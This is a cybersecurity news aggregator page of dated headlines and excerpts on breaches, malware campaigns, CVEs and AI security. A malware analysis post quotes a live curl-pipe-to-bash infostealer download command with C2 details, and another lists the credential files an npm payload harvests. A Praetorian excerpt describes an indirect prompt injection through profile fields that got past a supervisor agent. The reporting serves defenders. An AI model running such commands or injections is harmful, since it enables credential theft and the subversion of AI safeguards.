Cybersecurity News and Vulnerability Aggregator

Cybersecurity news aggregator

Top Cybersecurity Stories Today

Bleeping Computer 8h ago

Adobe has released an emergency security update for Acrobat Reader to fix a vulnerability, tracked as CVE-2026-34621, that has been exploited in zero-day attacks since at least December. [...]

Bleeping Computer 5h ago

The FBI Atlanta Field Office and Indonesian authorities have dismantled the "W3LL" global phishing platform, seizing infrastructure and arresting the alleged developer in what is described as the first coordinated enforcement action between the United States and Indonesia targeting a phishing kit developer. [...]

Latest

Monday, April 13
Bleeping Computer 5h ago

The FBI Atlanta Field Office and Indonesian authorities have dismantled the "W3LL" global phishing platform, seizing infrastructure and arresting the alleged developer in what is described as the first coordinated enforcement action between the United States and Indonesia targeting a phishing kit developer. [...]

The Register 5h ago

Google Sites lure leads to bogus root certificate Imagine getting asked to do something by a person in authority. An unknown malware slinger targeting open source software developers via Slack impersonated a real Linux Foundation official and used pages hosted on Google.com to steal developers' credentials and take over their systems.…

The Hacker News 7h ago

Banks and financial institutions in Latin American countries like Brazil and Mexico have continued to be the target of a malware family called JanelaRAT. A modified version of BX RAT, JanelaRAT is known to steal financial and cryptocurrency data associated with specific financial entities, as well as track mouse inputs, log keystrokes, take screenshots, and collect system metadata. "One of the

r/Malware 7h ago

[](https://www.reddit.com/r/cybersecurity/?f=flair_name%3A%22News%20-%20General%22)Hello everyone, I have just analyzed a Kalim Backdoor sample to better understand its behavior, persistence mechanisms, and remote control capabilities. [Full Report](https://github.com/SalahEldinFikri/Kalim_Backdoor) [Linkedin](https://www.linkedin.com/in/salaheldin-fikri-kamil-1ab233218/) This sample demonstrates how attackers can establish unauthorized access to a compromised system, enabling continuous control, command execution, and stealthy operations without user awareness. Key Findings: \- Remote Command Execution: The backdoor allows attackers to execute commands on the infected system, giving full control over the victim machine. \- Persistence Mechanism: Implements techniques to survive system reboots, ensuring long-term access for the attacker. \- Backdoor Communication: Maintains communication with the attacker, enabling continuous interaction and data exchange. \- System Control Capabilities: Provides the ability to manipulate the system, making it suitable for post-exploitation activities. \- Stealth Techniques: Designed to operate quietly in the background, reducing the chances of detection. \- Detection (YARA): A custom YARA rule was developed based on behavioral indicators. \#CyberSecurity #MalwareAnalysis #ReverseEngineering #ThreatIntelligence #BlueTeam #Research #MalDocs #BlueTeam #Attacks #InfoSec #ThreatIntelligence #CyberThreats #DigitalForensics #BlueTeam

r/netsec 7h ago
CVE

The current version of RAGFlow, a widely-deployed Retrieval Augmented Generation solution, contains a post-auth vulnerability that allows for arbitrary code execution. This post includes a POC, walkthrough and patch. The TL;DR is to make sure your RAGFlow instances aren't on the public internet, that you have the minimum number of necessary users, and that those user accounts are protected by complex passwords. (This is especially true if you're using Infinity for storage.)

r/cybersecurity 9h ago

After close to two decades in and around compliance I am pretty sure, that most compliance problems aren’t actually compliance problems, they’re design problems. Which is annoying, because “redesign the system” is a much harder sell internally than “let’s do another training.” But look at how this usually goes: there’s a policy (good), there’s a control (awesome) and there’s an audit (woohoo). And yet, somehow, the same issue keeps popping up like it’s on a subscription plan nobody signed up for. Not cool. At some point you have to ask: are people really *that* bad at following rules, or is the system just…not built to make it happen? Because systems produce behaviour: if the fastest way to get work done is slightly non-compliant, guess which path wins. Every time. Not because people are evil, but because they have jobs to do (and “please follow the process” tends to lose against “I need to get this done before 5pm.”). Take approvals: if approvals are slow, unclear, or easy to ignore, they’re not really approvals. They’re more like polite suggestions with paperwork. And then we act surprised when they get bypassed. So what’s the response? More training! More checks! More oversight! At some point it starts to feel like we’re trying to fix a badly designed road by adding more signs that say “please drive correctly.” The shift (boring but true) is this: if you want compliance, you have to design for it. Not bolt it on afterwards. Not audit it into existence. Actually build workflows where the compliant path is the default, and the non-compliant one is hard (or impossible). Simple idea. Weirdly rare in practice. I wrote a longer breakdown of how this plays out (and what to actually change) here: [https://kolsetu.com/blog/most-compliance-problems-are-design-problems](https://kolsetu.com/blog/most-compliance-problems-are-design-problems)

The Register 10h ago

Travel giant says names, contact details, dates, and hotel messages potentially exposed Booking.com is warning customers that their reservation details may have been exposed to unknown attackers, in the latest reminder that the travel giant still can't quite keep a lid on the data flowing through its platform.…

The Hacker News 11h ago

Monday is back, and the weekend’s backlog of chaos is officially hitting the fan. We are tracking a critical zero-day that has been quietly living in your PDFs for months, plus some aggressive state-sponsored meddling in infrastructure that is finally coming to light. It is one of those mornings where the gap between a quiet shift and a full-blown incident response is basically

The Hacker News 12h ago

Anthropic restricted its Mythos Preview model last week after it autonomously found and exploited zero-day vulnerabilities in every major operating system and browser. Palo Alto Networks' Wendi Whitmore warned that similar capabilities are weeks or months from proliferation. CrowdStrike's 2026 Global Threat Report puts average eCrime breakout time at 29 minutes. Mandiant's M-Trends

The Guardian 13h ago

Undisclosed number of names and contact and reservation details accessed in latest cybercrime attempt The accommodation reservation website Booking.com has suffered a data breach with “unauthorised parties” gaining access to customers’ details. The platform said it “noticed some suspicious activity involving unauthorised third parties being able to access some of our guests’ booking information”. Continue reading...

The Register 15h ago

Benchmarking contract lays groundwork for renegotiating £774M software agreement NHS England is spending £46,000 on "benchmarking" as it gears up for what looks like the next round of negotiations behind one of the UK public sector's biggest software deals.…

The Hacker News 15h ago

The North Korean hacking group tracked as APT37 (aka ScarCruft) has been attributed to a fresh multi-stage, social engineering campaign in which threat actors approached targets on Facebook and added them as friends on the social media platform, turning the trust-building exercise into a delivery channel for a remote access trojan called RokRAT. "The threat actor used two Facebook

r/blueteamsec 16h ago
CVE

Last week, a new BYOVD vulnerability (CVE-2026-29923) was discovered in pstrip64.sys driver, which allows an unprivileged user to escalate privileges to SYSTEM via a crafted IOCTL request. I just published a complete deep-dive on my GitHub covering the entire exploit lifecycle: ▪️Reverse-engineering the vulnerable IOCTL to gain a physical read/write primitive. ▪️ Building the Proof of Concept (PoC) from the ground up. ▪️ Actionable mitigation and detection recommendations for defenders. Enjoy the read, and feel free to DM me if you have any questions! ⚠️ Disclaimer: This write-up and code are provided strictly for educational and defensive research purposes only. Any malicious or unauthorized use is strictly prohibited.

r/ReverseEngineering 17h ago

To reduce the amount of noise from questions, we have disabled self-posts in favor of a unified questions thread every week. Feel free to ask any question about reverse engineering here. If your question is about how to use a specific tool, or is specific to some particular target, you will have better luck on the [Reverse Engineering StackExchange](http://reverseengineering.stackexchange.com/). See also /r/AskReverseEngineering.

The Register 22h ago

PLUS: Toyota wheels out basketball bot; Arm scores AI server win with SK Telecom; India ponders payment pauses to foil fraudsters; And more! Asia In Brief China’s National Data Administration last Friday published its action plan for AI in education which calls for upskilling of the nation’s citizens to ensure they can put the technology to work.…

Synack 23h ago

Introducing the Glasswing-Readiness Assessment In my last post, we looked at the emergence of Anthropic’s Mythos and how it has collapsed the exploit timeline from weeks to days. But once you accept that the speed of the adversary has changed, a more difficult question remains for security leaders: What do we actually do now? The […] The post Become Mythos-Ready and Close the AI Coverage Gap with Synack appeared first on Synack .

Sunday, April 12
The Hacker News Apr 12

Unknown threat actors compromised CPUID ("cpuid[.]com"), a website that hosts popular hardware monitoring tools like CPU-Z, HWMonitor, HWMonitor Pro, and PerfMonitor, for less than 24 hours to serve malicious executables for the software and deploy a remote access trojan called STX RAT. The incident lasted from approximately April 9, 15:00 UTC, to about April 10, 10:00 UTC, with

Saturday, April 11
The Register Apr 11

Time to start dropping SBOMs FEATURE Two supply chain attacks in March infected open source tools with malware and used this access to steal secrets from tens of thousands – if not more – organizations. We won't know the full blast radius for months.…

Friday, April 10
Praetorian Apr 10

The Blind Spot As organizations race to deploy LLM-powered chat agents, many have adopted a layered defense model: a primary chat agent handles user interactions while a secondary supervisor agent monitors contextual input (i.e., chat messages) for prompt injection attacks and policy violations. This architecture mirrors traditional security patterns like web application firewalls sitting in front of application servers. But what happens when the supervisor only watches the front door? Indirect prompt injection is a class of attack where adversarial instructions are embedded not in the user’s direct input, but in external data sources that an LLM consumes as context: profile fields, retrieved documents, tool outputs, or database records. Unlike direct prompt injection, where a user explicitly sends malicious instructions through the chat interface, indirect injection hides the payload in data that the application fetches on the user’s behalf—often from sources the system implicitly trusts. During a recent engagement targeting a multi-model AI-integrated customer service solution, our team identified a weakness in the architecture that made it susceptible to indirect prompt injection attacks. The customer service solution consisted of an AI-enabled chat agent that processed user requests and a separate supervisor agent that monitored the chat communications for adversarial instructions and manipulation, including prompts injected into data provided to the agent via the chat window. The supervisor agent was effective in consistently detecting and blocking attempts to attack or manipulate the chat agent. However, by injecting adversarial instructions into user profile fields—such as a user’s name—that the chat agent would retrieve upon request, we were able to bypass supervisor protections and trick the chat agent into misinterpreting our user’s profile data as a prompt and executing our hidden instructions. The root cause is a fundamen

r/computerforensics Apr 10
CVE

Hey everyone, I don't know about you, but I was getting seriously frustrated with how fragmented our tools are. Trying to piece together an investigation across Windows, Linux, and Mac artifacts usually means jumping between half a dozen different apps, and the centralized "all-in-one" solutions cost some money So, about 9 months ago, I decided to just try and build the tool I actually wanted to use. It's called **Heimdall DFIR**. **GitHub:** [https://raiseix.github.io/Heimdall-DFIR](https://raiseix.github.io/Heimdall-DFIR) Instead of a bunch of marketing buzzwords, here is what it actually does right now: * **One giant timeline:** It takes your artifacts (EVTX, MFT, Prefetch and other Windows artifacts Linux/Mac logs, etc.) and merges them into a single chronological grid. I spent a lot of time trying to make the output actually human-readable instead of just dumping raw JSON on the screen * **RAM Analysis:** I hooked it up to VolWeb (Volatility 3). You can upload massive memory dumps directly in the UI and it actually handles the stream without crashing the backend * **Collaborative mode:** Investigating alone sucks, so I added a side-chat and an evidence-pinning system so a team can look at the exact same case simultaneously **To be completely transparent with you all:** This is very much a Beta. It’s a massive undertaking and it’s still missing a lot of features I want to add before calling it a complete platform That’s honestly why I’m sharing it today. I’m hoping to get some brutally honest feedback from people who do this daily. What parsers are you constantly missing in open-source tools? What would make you actually want to use this? If anyone wants to spin it up (Docker compose is ready to go), break it, submit bug reports, or even contribute code to help build this out, I would be incredibly grateful. Let me know what you think. If you like the vision, a GitHub ⭐ helps a lot!

Google Security Apr 10
CVE

Posted by Jiacheng Lu, Software Engineer, Google Pixel Team Google is continuously advancing the security of Pixel devices. We have been focusing on hardening the cellular baseband modem against exploitation. Recognizing the risks associated within the complex modem firmware, Pixel 9 shipped with mitigations against a range of memory-safety vulnerabilities. For Pixel 10, Google is advancing its proactive security measures further. Following our previous discussion on "Deploying Rust in Existing Firmware Codebases" , this post shares a concrete application: integrating a memory-safe Rust DNS(Domain Name System) parser into the modem firmware. The new Rust-based DNS parser significantly reduces our security risk by mitigating an entire class of vulnerabilities in a risky area, while also laying the foundation for broader adoption of memory-safe code in other areas. Here we share our experience of working on it, and hope it can inspire the use of more memory safe languages in low-level environments. Why Modem Memory Safety Can’t Wait In recent years, we have seen increasing interest in the cellular modem from attackers and security researchers. For example, Google's Project Zero gained remote code execution on Pixel modems over the Internet. Pixel modem has tens of Megabytes of executable code. Given the complexity and remote attack surface of the modem, other critical memory safety vulnerabilities may remain in t

The Hacker News Apr 10

Cybersecurity researchers have flagged yet another evolution of the ongoing GlassWorm campaign, which employs a new Zig dropper that's designed to stealthily infect all integrated development environments (IDEs) on a developer's machine. The technique has been discovered in an Open VSX extension named "specstudio.code-wakatime-activity-tracker," which masquerades as WakaTime, a

NVISO Labs Apr 10

Keyloggers: A Persistent Threat Nowadays, virtually all digital services rely on logins and authentication, from email inboxes to help desks. These involve login credentials to prove identity, typically at least a username and a password. Initially, this information is confidential from a potential attacker. Whi

The Hacker News Apr 10
AI

While much of the discussion on AI security centers around protecting ‘shadow’ AI and GenAI consumption, there's a wide-open window nobody's guarding: AI browser extensions. A new report from LayerX exposes just how deep this blind spot goes, and why AI extensions may be the most dangerous AI threat surface in your network that isn't on anyone's

The Register Apr 10
AI

Cut through the noise and understand the real risks, responsibilities, and responses shaping enterprise AI today. Webinar Promo 2025 was the year of AI experimentation. In 2026, the bills are coming due. AI adoption has moved from isolated pilots to autonomous, enterprise wide deployment, bringing with it a sophisticated new generation of security challenges.…

The Hacker News Apr 10

Google has made Device Bound Session Credentials (DBSC) generally available to all Windows users of its Chrome web browser, months after it began testing the security feature in open beta. The public availability is currently limited to Windows users on Chrome 146, with macOS expansion planned in an upcoming Chrome release. "This project represents a significant

The Hacker News Apr 10

Unknown threat actors have hijacked the update system for the Smart Slider 3 Pro plugin for WordPress and Joomla to push a poisoned version containing a backdoor. The incident impacts Smart Slider 3 Pro version 3.5.1.35 for WordPress, per WordPress security company Patchstack. Smart Slider 3 is a popular WordPress slider plugin with more than 800,000 active installations across its free and Pro

Thursday, April 9
The Register Apr 9
CVE

Cops bust latest scam, return $12m to bilked victims US, UK, and Canadian law enforcement Thursday said that they disrupted a $45 million global cryptocurrency scam, freezing $12 million in stolen funds and identifying more than 20,000 cryptocurrency wallet addresses linked to fraud victims across 30 countries.…

Synack Apr 9

Anthropic’s Mythos announcement marks a genuine inflection point in the threat landscape. And for those of us who have spent careers watching it evolve, this one feels different. Building a reliable working exploit used to take a skilled attacker the better part of a year. With AI-powered offensive tooling, we’re looking at potentially days. That […] The post Mythos Changes Everything: Why Your Entire Attack Surface Is Now at Risk appeared first on Synack .

The Hacker News Apr 9

Details have emerged about a now-patched security vulnerability in a widely used third-party Android software development kit (SDK) called EngageLab SDK that could have put millions of cryptocurrency wallet users at risk. "This flaw allows apps on the same device to bypass Android security sandbox and gain unauthorized access to private data," the Microsoft Defender

Google Security Apr 9

Posted by Ben Ackerman, Chrome team, Daniel Rubery, Chrome team and Guillaume Ehinger, Google Account Security team Following our April 2024 announcement , Device Bound Session Credentials (DBSC) is now entering public availability for Windows users on Chrome 146, and expanding to macOS in an upcoming Chrome release. This project represents a significant step forward in our ongoing efforts to combat session theft, which remains a prevalent threat in the modern security landscape. Session theft typically occurs when a user inadvertently downloads malware onto their device. Once active, the malware can silently extract existing session cookies from the browser or wait for the user to log in to new accounts, before exfiltrating these tokens to an attacker-controlled server. Infostealer malware families, such as LummaC2, have become increasingly sophisticated at harvesting these credentials. Because cookies often have extended lifetimes, attackers can use them to gain unauthorized access to a user’s accounts without ever needing their passwords; this access is then often bundled, traded, or sold among threat actors. Crucially, once sophisticated malware has gained access to a machine, it can read the local files and memory where browsers store authentication cookies. As a result, there is no reliable way to prevent cookie exfiltration using software alone on any operating system. Historically, mitigating session theft relied on detecting the stolen credentials after the fact using a complex set of abuse heuristics – a reactive approach that persistent attackers could often circumvent. DBSC fundamentally changes the web's capability to defend against this threat by shifting the paradigm from reactive detection to proactive prevention, ensuring that successfully exfiltrated c

r/netsec Apr 9

Hi everyone, I’m a Cybersecurity student at HFU in Germany and recently submitted a vulnerability to the Google VRP regarding the Google Password Manager on Android (tested on Pixel 8, Android 16). **The Issue:** When you view a cleartext password in the app and minimize it, the app fails to apply `FLAG_SECURE` or blur the background. When opening the "Recent Apps" (Task Switcher), the cleartext password is fully visible in the preview, *even though* the app actively overlays a "Enter your screen lock" biometric prompt in the foreground. It basically renders its own secondary biometric lock completely useless. **Google's Response:** Google closed the report as *Won't Fix (Intended Behavior)*. Their threat model assumes that if an attacker has physical access to an unlocked device, it's game over. **The BSI Discrepancy:** What makes this interesting is that the German Federal Office for Information Security (BSI) recently published a study on Password Managers. In their Threat Model A02 ("Attacker has temporary access to the unlocked device"), they explicitly mandate that sensitive content MUST be protected from background snapshots/screenshots. So while Google says this is intended, national security guidelines classify this as a vulnerability. (For comparison: The iOS built-in password manager instantly blurs the screen when losing focus). Here is my PoC screenshot: [https://drive.google.com/file/d/1PTGKRpyFj\_jY9S76Jlo62mSCDJ3c6uLO/view?usp=sharing](https://drive.google.com/file/d/1PTGKRpyFj_jY9S76Jlo62mSCDJ3c6uLO/view?usp=sharing) [https://drive.google.com/file/d/1nIJMQbM4R17EMt9f1Ffb4UmCPYY7-GXb/view?usp=sharing](https://drive.google.com/file/d/1nIJMQbM4R17EMt9f1Ffb4UmCPYY7-GXb/view?usp=sharing) What are your thoughts on this? Should password managers protect against shoulder surfing via the Task Switcher, or is Google right to rely solely on the OS lockscreen?

The Register Apr 9

UK and US customers stuck waiting after fleet management SaaS vendor took affected environments offline A cybersecurity incident has knocked FleetWave into a "major outage" across the UK and US after Chevin Fleet Solutions pulled parts of its SaaS platform offline and left customers scrambling for answers.…

CERT/CC Apr 9
CVE

Overview Multiple vulnerabilities have been identified in Orthanc DICOM Server version, 1.12.10 and earlier, that affect image decoding and HTTP request handling components. These vulnerabilities include heap buffer overflows, out-of-bounds reads, and resource exhaustion vulnerabilities that may allow attackers to crash the server, leak memory contents, or potentially execute arbitrary code. Description Orthanc is an open-source lightweight Digital Imaging and Communications in Medicine (DICOM) server used to store, process, and retrieve medical imaging data in healthcare environments. The following nine vulnerabilities identified in Orthanc primarily stem from unsafe arithmetic operations, missing bounds checks, and insufficient validation of attacker-controlled metadata in DICOM files and HTTP requests. CVE-2026-5437 An out-of-bounds read vulnerability exists in DicomStreamReader during DICOM meta-header parsing. When processing malformed metadata structures, the parser may read beyond the bounds of the allocated metadata buffer. Although this issue does not typically crash the server or expose data directly to the attacker, it reflects insufficient input validation in the parsing logic. CVE-2026-5438 A gzip decompression bomb vulnerability exists when Orthanc processes an HTTP request with Content-Encoding: gzip . The server does not enforce limits on decompressed size and allocates memory based on attacker-controlled compression metadata. A specially crafted gzip payload can trigger excessive memory allocation and exhaust system memory. CVE-2026-5439 A memory exhaustion vulnerability exists in ZIP archive processing. Orthanc automatically extracts ZIP archives uploaded t

The Hacker News Apr 9

Thursday. Another week, another batch of things that probably should've been caught sooner but weren't. This one's got some range — old vulnerabilities getting new life, a few "why was that even possible" moments, attackers leaning on platforms and tools you'd normally trust without thinking twice. Quiet escalations more than loud zero-days, but the kind that matter more in

The Hacker News Apr 9

As AI tools become more accessible, employees are adopting them without formal approval from IT and security teams. While these tools may boost productivity, automate tasks, or fill gaps in existing workflows, they also operate outside the visibility of security teams, bypassing controls and creating new blind spots in what is known as shadow AI. While similar to the phenomenon of

Trail of Bits Apr 9

We added a new chapter to our Testing Handbook: a comprehensive security checklist for C and C++ code . We’ve identified a broad range of common bug classes, known footguns, and API gotchas across C and C++ codebases and organized them into sections covering Linux, Windows, and seccomp. Whereas other handbook chapters focus on static and dynamic analysis, this chapter offers a strong basis for manual code review. LLM enthusiasts rejoice: we’re also developing a Claude skill based on this new chapter. It will turn the checklist into bug-finding prompts that an LLM can run against a codebase, and it’ll be platform and threat-model aware. Be sure to give it a try when we release it. And after reading the chapter, you can test your C/C++ review skills against two challenges at the end of this post. Be in the first 10 to submit correct answers to win Trail of Bits swag! What’s in the chapter The chapter covers five areas: general bug classes, Linux usermode and kernel, Windows usermode and kernel, and seccomp/BPF sandboxes. It starts with language-level issues in the bug classes section—memory safety, integer errors, type confusion, compiler-introduced bugs—and gets progressively more environment-specific. The Linux usermode section focuses on libc gotchas. This section is also applicable to most POSIX systems. It ranges from well-known problems with string methods, to somewhat less known caveats around privilege dropping and environment variable handling. The Linux kernel is a complicated beast, and no checklist could cover even a part of its intricacies. However, our new Testing Handbook chapter can give you a starting point to bootstrap manual reviews of drivers and modules.

The Hacker News Apr 9
APT

An apparent hack-for-hire campaign likely orchestrated by a threat actor with suspected ties to the Indian government targeted journalists, activists, and government officials across the Middle East and North Africa (MENA), according to findings from Access Now, Lookout, and SMEX. Two of the targets included prominent Egyptian journalists and government critics, Mostafa

Rekt News Apr 9

Public blockchains solved settlement. They didn't solve privacy. Institutions need to protect positions, counterparty relationships, and transaction amounts without abandoning transparency entirely - and every architecture that tried to solve this hit the same wall. Protocol-level privacy locks everything. Permissioned chains recreate centralization. Separate privacy layers fragment liquidity. Stellar's answer is different. Cryptographic primitives baked into the base layer, two production-ready privacy models on top, and the institution decides what to reveal and to whom. Transparent when you want it. Private when you need it.

Wednesday, April 8
r/Malware Apr 8

Any\[.\]run identified a multi-stage phishing campaign using a Google Drive-themed lure and delivering Remcos RAT. Attackers place the HTML on storage\[.\]googleapis\[.\]com, abusing trusted infrastructure instead of hosting the phishing page on a newly registered domain. The chain leverages RegSvcs.exe, a legitimate signed Microsoft/.NET binary with a clean VirusTotal hash. Combined with trusted hosting, this makes reputation-based detection unreliable and lowers alert priority during triage. File reputation alone is not enough. Detection depends on behavioral analysis and sandboxing. The page mimics a Google Drive login form, collecting email, password, and OTP. After a “successful login,” the victim is prompted to download Bid-Packet-INV-Document.js, triggering a multi-stage delivery chain: S (WSH launcher + time-based evasion) -> VBS Stage 1 (download + hidden execution) -> VBS Stage 2 (%APPDATA%\\WindowsUpdate + Startup persistence) -> DYHVQ.ps1 (loader orchestration) -> ZIFDG.tmp (obfuscated PE / Remcos payload) -> Textbin-hosted obfuscated .NET loader (in-memory via Assembly.Load) -> %TEMP%\\RegSvcs.exe hollowing/injection -> Partially fileless Remcos + C2 Analysis session: [https://app.any.run/tasks/0efd1390-c17a-49ce-baef-44b5bd9c4a97](https://app.any.run/tasks/0efd1390-c17a-49ce-baef-44b5bd9c4a97/?utm_source=reddit) TI Lookup query: [domainName:www.freepnglogos.com and domainName:storage.googleapis.com and threatLevel:malicious](https://intelligence.any.run/analysis/lookup?utm_source=reddit#%7B%22query%22:%22domainName:%5C%22www.freepnglogos.com%5C%22%20and%20domainName:%5C%22storage.googleapis.com%5C%22%20and%20threatLevel:%5C%22malicious%5C%22%22,%22dateRange%22:30%7D) IOCs Phishing URLs: hxxps://storage\[.\]googleapis\[.\]com/pa-bids/GoogleDrive.html hxxps://storage\[.\]googleapis\[.\]com/com-bid/GoogleDrive.html hxxps://storage\[.\]googleapis\[.\]com/contract-bid-0/GoogleDrive.html hxxps://storage\[.\]googleapis\[.\]com/in-bids/GoogleDrive.html hxxp://storage\[.\]googleapis\[.\]com/out-bid/GoogleDrive.html Credential exfiltration domains: usmetalpowders\[.\]co iseeyousmile9\[.\]com Credential exfiltration path: /1a/uh.php Malware staging host: brianburkeauction\[.\]com Source: r/ANYRUN

r/Malware Apr 8

Picked up a low-VT AMOS sample on March 12 worth flagging. Aligns with the recent malext variants but layers a few things we haven't seen combined before: * **Custom multi-stage decryption** (hex → ASCII → base64 via custom hash table) serving obfuscated osascript payloads at runtime — static analysis gets you almost nothing * **Anti-VM** via `system_profiler` checking for QEMU/VMware/KVM processor strings and known sandbox hardware serials, run twice before payload delivery * **Payload written to** `/bin/zsh` **child process iteratively via** `write()` **loop** — no plaintext payload on disk * **300+ crypto extension IDs** targeted + full desktop wallet scraping * **Hardware wallet trojanization** — silently replaces Ledger, Trezor, and Exodus with adhoc-signed phishing lookalikes that harvest passwords and seed phrases to `systellis[.]com` * **Three-layer persistence**: root LaunchDaemon (`com.finder.helper`) → `~/.mainhelper` backdoor pulled from C2 → `~/.agent` polling loop that pivots backdoor execution into the active console user's context every second via `stat -f "%Su" /dev/console`

r/Malware Apr 8

Three @`fairwords` scoped npm packages were hit today by what appears to be the TeamPCP/CanisterWorm campaign. The interesting part isn't just the credential theft, it's what it does with your npm token afterward. **What the postinstall payload does:** * Harvests environment variables matching 40+ patterns (AWS, GCP, Azure, GitHub, OpenAI, Stripe, etc.) * Reads SSH keys, `.npmrc`, `.kube/config`, Docker auth, Terraform credentials, `.git-credentials` * Steals crypto wallet data - Solana keypairs, Ethereum keystores, MetaMask LevelDB, Phantom, Exodus, Atomic Wallet * Decrypts Chrome saved passwords on Linux using the well-known hardcoded PBKDF2 key (`"peanuts"` / `"saltysalt"`) * Scans `/proc/[pid]/environ` for tokens in other running processes **Affected versions:** * `fairwords/websocket` 1.0.38 and 1.0.39 * `fairwords/loopback-connector-es` 1.4.3 and 1.4.4 * `fairwords/encryption` 0.0.5 and 0.0.6 If you have any of these installed, rotate npm tokens, cloud keys, SSH keys immediately and check whether any packages you maintain received unexpected version bumps. Full analysis with IOCs and payload walkthrough in the blog.

Tuesday, April 7
r/netsec Apr 7
CVE

AI coding tools are being shipped fast. In too many cases, basic security is not keeping up. In our latest research, we found the same sandbox trust-boundary failure pattern across tools from Anthropic, Google, and OpenAI. Anthropic fixed and engaged quickly (CVE-2026-25725). Google did not ship a fix by disclosure. OpenAI closed the report as informational and did not address the core architectural issue. That gap in response says a lot about vendor security posture.

Krebs on Security Apr 7

Hackers linked to Russia’s military intelligence units are using known flaws in older Internet routers to mass harvest authentication tokens from Microsoft Office users, security experts warned today. The spying campaign allowed state-backed Russian hackers to quietly siphon authentication tokens from users on more than 18,000 networks without deploying any malicious software or code. Microsoft said in a blog post today it identified more than 200 organizations and 5,000 consumer devices that were caught up in a stealthy but remarkably simple spying network built by a Russia-backed threat actor known as “ Forest Blizzard .” How targeted DNS requests were redirected at the router. Image: Black Lotus Labs. Also known as APT28 and Fancy Bear, Forest Blizzard is attributed to the military intelligence units within Russia’s General Staff Main Intelligence Directorate (GRU). APT 28 famously compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. Researchers at Black Lotus Labs , a security division of the Internet backbone provider Lumen , found that at the peak of its activity in December 2025, Fo

Trail of Bits Apr 7

WhatsApp’s new “Private Inference” feature represents one of the most ambitious attempts to combine end-to-end encryption with AI-powered capabilities, such as message summarization. To make this possible, Meta built a system that processes encrypted user messages inside trusted execution environments (TEEs), secure hardware enclaves designed so that not even Meta can access the plaintext. Our now-public audit , conducted before launch, identified several vulnerabilities that compromised WhatsApp’s privacy model, all of which Meta has patched. Our findings show that TEEs aren’t a silver bullet: every unmeasured input and missing validation can become a vulnerability, and to securely deploy TEEs, developers need to measure critical data, validate and never trust any unmeasured data, and test thoroughly to detect when components misbehave. The challenge of using AI with end-to-end encryption WhatsApp’s Private Processing attempts to resolve a fundamental tension: WhatsApp is end-to-end encrypted, so Meta’s servers cannot read, alter, or analyze user messages. However, if users also want to opt in to AI-powered features like message summarization, this typically requires sending plaintext data to servers for computationally expensive processing. To solve this, Meta uses TEEs based on AMD’s SEV-SNP and Nvidia’s confidential GPU platforms to process messages in a secure enclave where even Meta can’t access them or learn meaningful information about the message contents. The stakes in WhatsApp are high, as vulnerabilities could expose millions of users’ private messages. Our review identified 28 issues, including eight high-severity findings that could h

Synack Apr 7

In Brief The Question Every Board Is Asking Cybersecurity environments grow more complex every year. Cloud infrastructure expands daily. New applications appear. APIs multiply. Attackers increasingly use automation and purpose-built AI tools—including offensive tools like GhostGPT—to identify weaknesses faster than security teams can remediate them. At RSA 2026, the recurring theme across the keynote stages […] The post Continuous Security Validation: Why It Matters and Why Synack Is Built for It appeared first on Synack .

Compass Security Apr 7

This post is part of a small blog series covering common Entra ID security findings observed during real-world assessments. Each article explores selected findings in more detail to provide a clearer understanding of the underlying risks and practical implications. Part 1: Privileged Foreign Enterprise Applications Part 2: Privileged Unprotected Groups What Is Privileged Identity Management? Privileged Identity Management (PIM) is a service in Microsoft Entra ID that enables organizations to manage, control, and monitor privileged access. The main features are: Provide just-in-time privileged access Assign time-bound access and end dates Require approval or multifactor authentication to activate privileged roles Require written justification for role activation Generate notifications when privileged roles are activated A common use case is to avoid permanently assigning the Global Administrator role. Instead, users or group members are made eligible to activate the role only when needed and only for a limited period.

r/Malware Apr 7

Last week I received what looked like a legitimate job opportunity on Wellfound. An operator persona named "Felix" at "HyperHive" ran a multi-email social engineering chain referencing my real CV and technical background, then directed me to "review the product" at hyperhives.net before a scheduled interview. Navigating to Settings → Diagnostics → Log triggered: `curl -s https://macos.hyperhives.net/install | nohup bash &` I did not enter my password into the fake dialog that appeared. I killed the processes, preserved the binary, and spent the next several hours reverse-engineering it in an air-gapped Docker lab. **The binary:** 8.5MB Mach-O universal (x86_64 + arm64), Rust-compiled, production-grade infostealer. Currently 9/72 on VirusTotal — Sophos, CrowdStrike, Malwarebytes, and most enterprise tools are missing it. **The encryption problem:** Every operationally significant string was encrypted using a custom cipher with 570 unique x86_64 helper functions. Each function computes a unique key offset via custom arithmetic (imul, rol, xor, shr, neg). I emulated all 570 functions using Unicorn CPU emulator and recovered all 571 encrypted configuration values in 1.1 seconds. **What that exposed:** - C2: `cloudproxy.link` (4 endpoints: /m/opened, /m/metrics, /m/decode, /db/debug) - Sentry DSN: `526eff9f8bb7aafd7117ca5e33a6a183@o4509139651198976.ingest.de.sentry.io/4509422649213008` — a legal subpoena to Sentry for org 4509139651198976 would yield the operator's registration email, payment records, and IP history - Build identity: user `rootr`, codename `force`, version `9.12.1` - 276 Chrome extension IDs targeted: 188 crypto wallets, 3 password managers, Deloitte credential store **What it steals:** browser passwords, credit cards, cookies, login keychain, Apple Notes, Telegram session data, crypto wallet extensions. **TTP alignment:** Wellfound fake recruiter, multi-step trust building, curl|bash delivery, Rust macOS binary, fake password dialog, massive crypto wallet targeting — consistent with DPRK Contagious Interview / CL-STA-240. **Disclosure timeline:** Email received April 4. Analysis completed April 6. Reported to FBI IC3 April 6. Publishing April 7. Full repo with YARA rules, Sigma rules, STIX 2.1 bundle, ATT&CK Navigator layer, decryption scripts, and all IOCs: https://github.com/Darksp33d/hyperhives-macos-infostealer-analysis VirusTotal (9/72 detections): https://www.virustotal.com/gui/file/5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3/detection

Troy Hunt Apr 7

Presently sponsored by: Report URI: Guarding you from rogue JavaScript! Don’t get pwned; get real-time alerts & prevent breaches #SecureYourSite This week, more time than I'd have liked to spend went on talking about the trials of chasing invoices. This is off the back of a customer (who, for now, will remain unnamed), who had invoices stacking back more than 6 months overdue and despite payment terms of 30 days, paid on an average of 80 days . But as I say in this week's video, more than anything, it was the gall of the CEO to take issue with my frustrated tone rather than with their complete lack of respect for basic business etiquette and paying one's suppliers. And so, Copilot and I spent the weekend fixing up a nice little Xero integration to ensure this never happens again. If you arrive at this post sometime in the future after finding your HIBP enterprise service no longer functioning weeks after an unpaid invoice was due, at least you'll know it's not personal... and pay your damn bills!

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